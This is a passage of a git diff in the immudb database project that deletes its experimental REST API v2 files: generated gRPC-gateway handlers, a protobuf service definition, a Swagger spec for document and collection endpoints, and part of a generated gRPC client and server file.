- - mux.Handle("POST", pattern_ImmuServiceV2_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("DELETE", pattern_ImmuServiceV2_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_ImmuServiceV2_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_ImmuServiceV2_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - return nil -} - -var ( - pattern_ImmuServiceV2_LoginV2_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"system", "login"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "list"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_ImmuServiceV2_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) -) - -var ( - forward_ImmuServiceV2_LoginV2_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_DocumentInsert_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_DocumentSearch_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_CollectionCreate_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_CollectionGet_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_CollectionList_0 = runtime.ForwardResponseMessage - - forward_ImmuServiceV2_CollectionDelete_0 = runtime.ForwardResponseMessage -) diff --git a/pkg/api/schemav2/schemav2.proto b/pkg/api/schemav2/schemav2.proto deleted file mode 100644 index 493b8da26b..0000000000 --- a/pkg/api/schemav2/schemav2.proto +++ /dev/null @@ -1,190 +0,0 @@ -syntax = "proto3"; - -package immudb.schemav2; - -import "google/api/annotations.proto"; -import "google/protobuf/empty.proto"; -import "google/protobuf/struct.proto"; -import "schema.proto"; -import "protoc-gen-swagger/options/annotations.proto"; - -option go_package = "github.com/codenotary/immudb/pkg/api/schemav2"; -option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { - base_path: "/api/v2", - info: { - title: "immudb REST API v2"; - description: "" - }; - security_definitions: { - security: { - key: "bearer" - value: { - type: TYPE_API_KEY - in: IN_HEADER - name: "Authorization" - description: "Authentication token, prefixed by Bearer: Bearer " - } - } - } - security: { - security_requirement: { - key: "bearer" - } - } -}; - -message DocumentInsertRequest { - string collection = 1; - repeated google.protobuf.Struct document = 2; -} - - -enum QueryOperator { - EQ = 0; - GT = 1; - GTE = 2; - LT = 3; - LTE = 4; - LIKE = 5; -} - -message DocumentQuery { - string field = 1; - QueryOperator operator = 2; - google.protobuf.Value value = 3; -} - - -message DocumentSearchRequest { - string collection = 1; - repeated DocumentQuery query = 2; - uint32 page = 3; - uint32 perPage = 4; -} - -message DocumentSearchResponse { - repeated google.protobuf.Struct results = 1; - uint32 page = 2; - uint32 perPage = 3; - uint32 entriesLeft = 4; -} - -message LoginRequest { - string username = 1; - string password = 2; - string database = 3; -} - -message LoginResponseV2 { - string token = 1; - int32 expirationTimestamp = 2; - -} - -enum PossibleIndexType { - DOUBLE = 0; - INTEGER = 1; - STRING = 2; -} - -message CollectionCreateRequest { - string name = 1; - map primaryKeys = 2; - map indexKeys = 3; -} - -message CollectionInformation { - string name = 1; - map primaryKeys = 2; - map indexKeys = 3; -} - -message CollectionGetRequest { - string name = 1; -} - -message CollectionListRequest { -} - -message CollectionListResponse { - repeated CollectionInformation collections = 1; -} - -message CollectionDeleteRequest { - string name = 1; -} - -message Proof { - string name = 1; -} - - -service ImmuServiceV2 { - rpc LoginV2(LoginRequest) returns (LoginResponseV2) { - option (google.api.http) = { - post: "/system/login" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "authorization"; - }; - } - - rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { - option (google.api.http) = { - put: "/documents/insert" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; - }; - } - - rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { - option (google.api.http) = { - post: "/documents/search" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; - }; - } - - rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { - option (google.api.http) = { - put: "/collections/create" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; - }; - } - - rpc CollectionGet(CollectionGetRequest) returns (CollectionInformation) { - option (google.api.http) = { - get: "/collections/get" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; - }; - } - - - rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { - option (google.api.http) = { - post: "/collections/list" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; - }; - } - rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { - option (google.api.http) = { - delete: "/collections/delete" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; - }; - } -} \ No newline at end of file diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/schemav2/schemav2.swagger.json deleted file mode 100644 index 0aea3d4eaa..0000000000 --- a/pkg/api/schemav2/schemav2.swagger.json +++ /dev/null @@ -1,859 +0,0 @@ -{ - "swagger": "2.0", - "info": { - "title": "immudb REST API v2", - "version": "version not set" - }, - "basePath": "/api/v2", - "consumes": [ - "application/json" - ], - "produces": [ - "application/json" - ], - "paths": { - "/collections/create": { - "put": { - "operationId": "ImmuServiceV2_CollectionCreate", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2CollectionInformation" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/schemav2CollectionCreateRequest" - } - } - ], - "tags": [ - "collections" - ] - } - }, - "/collections/delete": { - "delete": { - "operationId": "ImmuServiceV2_CollectionDelete", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "properties": {} - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "query", - "required": false, - "type": "string" - } - ], - "tags": [ - "collections" - ] - } - }, - "/collections/get": { - "get": { - "operationId": "ImmuServiceV2_CollectionGet", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2CollectionInformation" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "name", - "in": "query", - "required": false, - "type": "string" - } - ], - "tags": [ - "collections" - ] - } - }, - "/collections/list": { - "post": { - "operationId": "ImmuServiceV2_CollectionList", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2CollectionListResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/schemav2CollectionListRequest" - } - } - ], - "tags": [ - "collections" - ] - } - }, - "/documents/insert": { - "put": { - "operationId": "ImmuServiceV2_DocumentInsert", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemaVerifiableTx" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/schemav2DocumentInsertRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/documents/search": { - "post": { - "operationId": "ImmuServiceV2_DocumentSearch", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2DocumentSearchResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/schemav2DocumentSearchRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, - "/system/login": { - "post": { - "operationId": "ImmuServiceV2_LoginV2", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/schemav2LoginResponseV2" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/immudbschemav2LoginRequest" - } - } - ], - "tags": [ - "authorization" - ] - } - } - }, - "definitions": { - "immudbschemav2LoginRequest": { - "type": "object", - "properties": { - "username": { - "type": "string" - }, - "password": { - "type": "string" - }, - "database": { - "type": "string" - } - } - }, - "protobufAny": { - "type": "object", - "properties": { - "type_url": { - "type": "string", - "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." - }, - "value": { - "type": "string", - "format": "byte", - "description": "Must be a valid serialized protocol buffer of the above specified type." - } - }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" - }, - "protobufNullValue": { - "type": "string", - "enum": [ - "NULL_VALUE" - ], - "default": "NULL_VALUE", - "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." - }, - "runtimeError": { - "type": "object", - "properties": { - "error": { - "type": "string" - }, - "code": { - "type": "integer", - "format": "int32" - }, - "message": { - "type": "string" - }, - "details": { - "type": "array", - "items": { - "$ref": "#/definitions/protobufAny" - } - } - } - }, - "schemaDualProof": { - "type": "object", - "properties": { - "sourceTxHeader": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Header of the source (earlier) transaction" - }, - "targetTxHeader": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Header of the target (latter) transaction" - }, - "inclusionProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Inclusion proof of the source transaction hash in the main Merkle Tree" - }, - "consistencyProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Consistency proof between Merkle Trees in the source and target transactions" - }, - "targetBlTxAlh": { - "type": "string", - "format": "byte", - "title": "Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree" - }, - "lastInclusionProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Inclusion proof of the targetBlTxAlh in the target Merkle Tree" - }, - "linearProof": { - "$ref": "#/definitions/schemaLinearProof", - "title": "Linear proof starting from targetBlTxAlh to the final state value" - }, - "LinearAdvanceProof": { - "$ref": "#/definitions/schemaLinearAdvanceProof", - "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" - } - }, - "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" - }, - "schemaEntry": { - "type": "object", - "properties": { - "tx": { - "type": "string", - "format": "uint64", - "title": "Transaction id at which the target value was set (i.e. not the reference transaction id)" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Key of the target value (i.e. not the reference entry)" - }, - "value": { - "type": "string", - "format": "byte", - "title": "Value" - }, - "referencedBy": { - "$ref": "#/definitions/schemaReference", - "title": "If the request was for a reference, this field will keep information about the reference entry" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Metadata of the target entry (i.e. not the reference entry)" - }, - "expired": { - "type": "boolean", - "title": "If set to true, this entry has expired and the value is not retrieved" - }, - "revision": { - "type": "string", - "format": "uint64", - "title": "Key's revision, in case of GetAt it will be 0" - } - } - }, - "schemaExpiration": { - "type": "object", - "properties": { - "expiresAt": { - "type": "string", - "format": "int64", - "title": "Entry expiration time (unix timestamp in seconds)" - } - } - }, - "schemaInclusionProof": { - "type": "object", - "properties": { - "leaf": { - "type": "integer", - "format": "int32", - "title": "Index of the leaf for which the proof is generated" - }, - "width": { - "type": "integer", - "format": "int32", - "title": "Width of the tree at the leaf level" - }, - "terms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Proof terms (selected hashes from the tree)" - } - } - }, - "schemaKVMetadata": { - "type": "object", - "properties": { - "deleted": { - "type": "boolean", - "title": "True if this entry denotes a logical deletion" - }, - "expiration": { - "$ref": "#/definitions/schemaExpiration", - "title": "Entry expiration information" - }, - "nonIndexable": { - "type": "boolean", - "title": "If set to true, this entry will not be indexed and will only be accessed through GetAt calls" - } - } - }, - "schemaLinearAdvanceProof": { - "type": "object", - "properties": { - "linearProofTerms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "terms for the linear chain" - }, - "inclusionProofs": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaInclusionProof" - }, - "title": "inclusion proofs for steps on the linear chain" - } - }, - "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" - }, - "schemaLinearProof": { - "type": "object", - "properties": { - "sourceTxId": { - "type": "string", - "format": "uint64", - "title": "Starting transaction of the proof" - }, - "TargetTxId": { - "type": "string", - "format": "uint64", - "title": "End transaction of the proof" - }, - "terms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "List of terms (inner hashes of transaction entries)" - } - }, - "title": "LinearProof contains the linear part of the proof (outside the main Merkle Tree)" - }, - "schemaReference": { - "type": "object", - "properties": { - "tx": { - "type": "string", - "format": "uint64", - "title": "Transaction if when the reference key was set" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Reference key" - }, - "atTx": { - "type": "string", - "format": "uint64", - "title": "At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Metadata of the reference entry" - }, - "revision": { - "type": "string", - "format": "uint64", - "title": "Revision of the reference entry" - } - } - }, - "schemaSignature": { - "type": "object", - "properties": { - "publicKey": { - "type": "string", - "format": "byte" - }, - "signature": { - "type": "string", - "format": "byte" - } - } - }, - "schemaTx": { - "type": "object", - "properties": { - "header": { - "$ref": "#/definitions/schemaTxHeader", - "title": "Transaction header" - }, - "entries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaTxEntry" - }, - "title": "Raw entry values" - }, - "kvEntries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaEntry" - }, - "title": "KV entries in the transaction (parsed)" - }, - "zEntries": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaZEntry" - }, - "title": "Sorted Set entries in the transaction (parsed)" - } - } - }, - "schemaTxEntry": { - "type": "object", - "properties": { - "key": { - "type": "string", - "format": "byte", - "title": "Raw key value (contains 1-byte prefix for kind of the key)" - }, - "hValue": { - "type": "string", - "format": "byte", - "title": "Value hash" - }, - "vLen": { - "type": "integer", - "format": "int32", - "title": "Value length" - }, - "metadata": { - "$ref": "#/definitions/schemaKVMetadata", - "title": "Entry metadata" - }, - "value": { - "type": "string", - "format": "byte", - "description": "value, must be ignored when len(value) == 0 and vLen \u003e 0.\nOtherwise sha256(value) must be equal to hValue." - } - } - }, - "schemaTxHeader": { - "type": "object", - "properties": { - "id": { - "type": "string", - "format": "uint64", - "title": "Transaction ID" - }, - "prevAlh": { - "type": "string", - "format": "byte", - "title": "State value (Accumulative Hash - Alh) of the previous transaction" - }, - "ts": { - "type": "string", - "format": "int64", - "title": "Unix timestamp of the transaction (in seconds)" - }, - "nentries": { - "type": "integer", - "format": "int32", - "title": "Number of entries in a transaction" - }, - "eH": { - "type": "string", - "format": "byte", - "title": "Entries Hash - cumulative hash of all entries in the transaction" - }, - "blTxId": { - "type": "string", - "format": "uint64", - "title": "Binary linking tree transaction ID\n(ID of last transaction already in the main Merkle Tree)" - }, - "blRoot": { - "type": "string", - "format": "byte", - "title": "Binary linking tree root (Root hash of the Merkle Tree)" - }, - "version": { - "type": "integer", - "format": "int32", - "title": "Header version" - }, - "metadata": { - "$ref": "#/definitions/schemaTxMetadata", - "title": "Transaction metadata" - } - } - }, - "schemaTxMetadata": { - "type": "object", - "properties": { - "truncatedTxID": { - "type": "string", - "format": "uint64", - "title": "Entry expiration information" - } - }, - "title": "TxMetadata contains metadata set to whole transaction" - }, - "schemaVerifiableTx": { - "type": "object", - "properties": { - "tx": { - "$ref": "#/definitions/schemaTx", - "title": "Transaction to verify" - }, - "dualProof": { - "$ref": "#/definitions/schemaDualProof", - "title": "Proof for the transaction" - }, - "signature": { - "$ref": "#/definitions/schemaSignature", - "title": "Signature for the new state value" - } - } - }, - "schemaZEntry": { - "type": "object", - "properties": { - "set": { - "type": "string", - "format": "byte", - "title": "Name of the sorted set" - }, - "key": { - "type": "string", - "format": "byte", - "title": "Referenced key" - }, - "entry": { - "$ref": "#/definitions/schemaEntry", - "title": "Referenced entry" - }, - "score": { - "type": "number", - "format": "double", - "title": "Sorted set element's score" - }, - "atTx": { - "type": "string", - "format": "uint64", - "title": "At which transaction the key is bound,\n0 if reference is not bound and should read the most recent reference" - } - } - }, - "schemav2CollectionCreateRequest": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - } - } - }, - "schemav2CollectionInformation": { - "type": "object", - "properties": { - "name": { - "type": "string" - }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexType" - } - } - } - }, - "schemav2CollectionListRequest": { - "type": "object" - }, - "schemav2CollectionListResponse": { - "type": "object", - "properties": { - "collections": { - "type": "array", - "items": { - "$ref": "#/definitions/schemav2CollectionInformation" - } - } - } - }, - "schemav2DocumentInsertRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "document": { - "type": "array", - "items": { - "type": "object" - } - } - } - }, - "schemav2DocumentQuery": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "operator": { - "$ref": "#/definitions/schemav2QueryOperator" - }, - "value": { - "type": "object" - } - } - }, - "schemav2DocumentSearchRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "query": { - "type": "array", - "items": { - "$ref": "#/definitions/schemav2DocumentQuery" - } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" - } - } - }, - "schemav2DocumentSearchResponse": { - "type": "object", - "properties": { - "results": { - "type": "array", - "items": { - "type": "object" - } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" - }, - "entriesLeft": { - "type": "integer", - "format": "int64" - } - } - }, - "schemav2LoginResponseV2": { - "type": "object", - "properties": { - "token": { - "type": "string" - }, - "expirationTimestamp": { - "type": "integer", - "format": "int32" - } - } - }, - "schemav2PossibleIndexType": { - "type": "string", - "enum": [ - "DOUBLE", - "INTEGER", - "STRING" - ], - "default": "DOUBLE" - }, - "schemav2QueryOperator": { - "type": "string", - "enum": [ - "EQ", - "GT", - "GTE", - "LT", - "LTE", - "LIKE" - ], - "default": "EQ" - } - }, - "securityDefinitions": { - "bearer": { - "type": "apiKey", - "description": "Authentication token, prefixed by Bearer: Bearer \u003ctoken\u003e", - "name": "Authorization", - "in": "header" - } - }, - "security": [ - { - "bearer": [] - } - ] -} diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go deleted file mode 100644 index 3921607d6b..0000000000 --- a/pkg/api/schemav2/schemav2_grpc.pb.go +++ /dev/null @@ -1,317 +0,0 @@ -// Code generated by protoc-gen-go-grpc. DO NOT EDIT. - -package schemav2 - -import ( - context "context" - schema "github.com/codenotary/immudb/pkg/api/schema" - empty "github.com/golang/protobuf/ptypes/empty" - grpc "google.golang.org/grpc" - codes "google.golang.org/grpc/codes" - status "google.golang.org/grpc/status" -) - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.32.0 or later. -const _ = grpc.SupportPackageIsVersion7 - -// ImmuServiceV2Client is the client API for ImmuServiceV2 service. -// -// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type ImmuServiceV2Client interface { - LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) - DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) - DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) - CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) - CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) - CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) - CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) -} - -type immuServiceV2Client struct { - cc grpc.ClientConnInterface -} - -func NewImmuServiceV2Client(cc grpc.ClientConnInterface) ImmuServiceV2Client { - return &immuServiceV2Client{cc} -} - -func (c *immuServiceV2Client) LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) { - out := new(LoginResponseV2) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/LoginV2", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { - out := new(schema.VerifiableTx) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentInsert", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { - out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentSearch", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { - out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionCreate", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { - out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionGet", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { - out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionList", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *immuServiceV2Client) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { - out := new(empty.Empty) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionDelete", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -// ImmuServiceV2Server is the server API for ImmuServiceV2 service. -// All implementations should embed UnimplementedImmuServiceV2Server -// for forward compatibility -type ImmuServiceV2Server interface { - LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) - DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) - DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) - CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) - CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) - CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) - CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) -} - -// UnimplementedImmuServiceV2Server should be embedded to have forward compatible implementations. -type UnimplementedImmuServiceV2Server struct { -} - -func (UnimplementedImmuServiceV2Server) LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) { - return nil, status.Errorf(codes.Unimplemented, "method LoginV2 not implemented") -} -func (UnimplementedImmuServiceV2Server) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") -} -func (UnimplementedImmuServiceV2Server) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") -} -func 